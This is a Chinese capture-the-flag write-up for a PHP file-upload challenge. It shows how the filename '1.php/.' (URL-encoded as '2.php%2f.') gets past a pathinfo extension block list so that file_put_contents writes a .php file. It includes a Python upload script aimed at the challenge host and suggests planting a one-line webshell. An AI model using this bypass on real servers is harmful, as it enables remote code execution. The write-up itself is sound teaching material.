知识点:
linux文件后缀名绕过
表单文件上传
pathinfo 函数 file_put_contents()函数
命令执行
代码审计:
<?phpfunction waf($filename){$black_list = array("ph", "htaccess", "ini");$ext = pathinfo($filename, PATHINFO_EXTENSION);foreach ($black_list as $value) {if (stristr($ext, $value)){return false;}}return true;
}if(isset($_FILES['file'])){$filename = urldecode($_FILES['file']['name']);$content = file_get_contents($_FILES['file']['tmp_name']);if(waf($filename)){file_put_contents($filename, $content);} else {echo "Please re-upload";}
} else{highlight_file(__FILE__);
}
页面直接给出了源码,waf()函数作用是对上传文件进行过滤,等下再说,先看主要代码
由$_FILES['file'] 可以判断是要上传文件,但是页面没有给出上传文件的选项,因此需要手动上传表单文件
$_FILES['file']['name'] 就是上传的文件名信息,会先被url解码然后赋值给$filename
$_FILES['file']['tmp_name'] 是上传的文件的临时存储路径信息,例如 /var/www/html/1.php
$content 会读取上传的文件里面的内容 如果$filename满足waf()函数要求,就把$content内容 写入文件$filename
可以考虑传入一句话木马然后蚁剑连接查看后台 或者直接命令执行,但是关键是先绕过函数对文件名限制
观察waf()函数,黑名单中是 ph htaccess ini
pathinfo 函数用于获取文件路径的信息,包括目录名,文件名,扩展名等
PATHINFO_EXTENSION 用于获取文件的扩展名部分
使用 PATHINFO_EXTENSION 时,pathinfo 函数会返回文件名中的最后一个点之后的部分
所以当传入例如 1.php. 的文件时,结果就是空字符串,因为最后一个点后面没有数据,可以利用这一点绕过
但是题目环境是Apache/2.4.25 (Debian)
在Linux系统下1.php.是一个合法的文件名,系统不会像windows系统自动把最后的点去掉然后把文件当成php文件执行,虽然可以绕过waf()函数,但是不会被当作php文件执行,所以点绕过在这里是不可行的
如果把1.php. 换成 1.php/. 也可以绕过waf()函数,然后经过file_put_contents()函数会被解析为1.php,即可完成绕过上传
验证结论:
因为题目是linux环境,所以在kali中创建一个php代码
运行之后看到确实创建了一个1.php的文件
上传文件:
绕过原理就是这样,下面只需要上传文件,使用代码上传文件,先测试一下phpinfo()页面,观察是否可行
windows下不支持/作为文件名的一部分,所以需要进行url编码把 / 编码为%2f
刚好代码里会对文件名进行url解码,也算是一个小提示
import requests
url = 'http://node5.anna.nssctf.cn:28714/' # 上传文件地址
file_content = "<?php phpinfo(); ?>"
files = {'file': ('2.php%2f.', file_content)}
response = requests.post(url=url, files=files)
print(response.text)
访问2.php 搜索关键词flag得到flag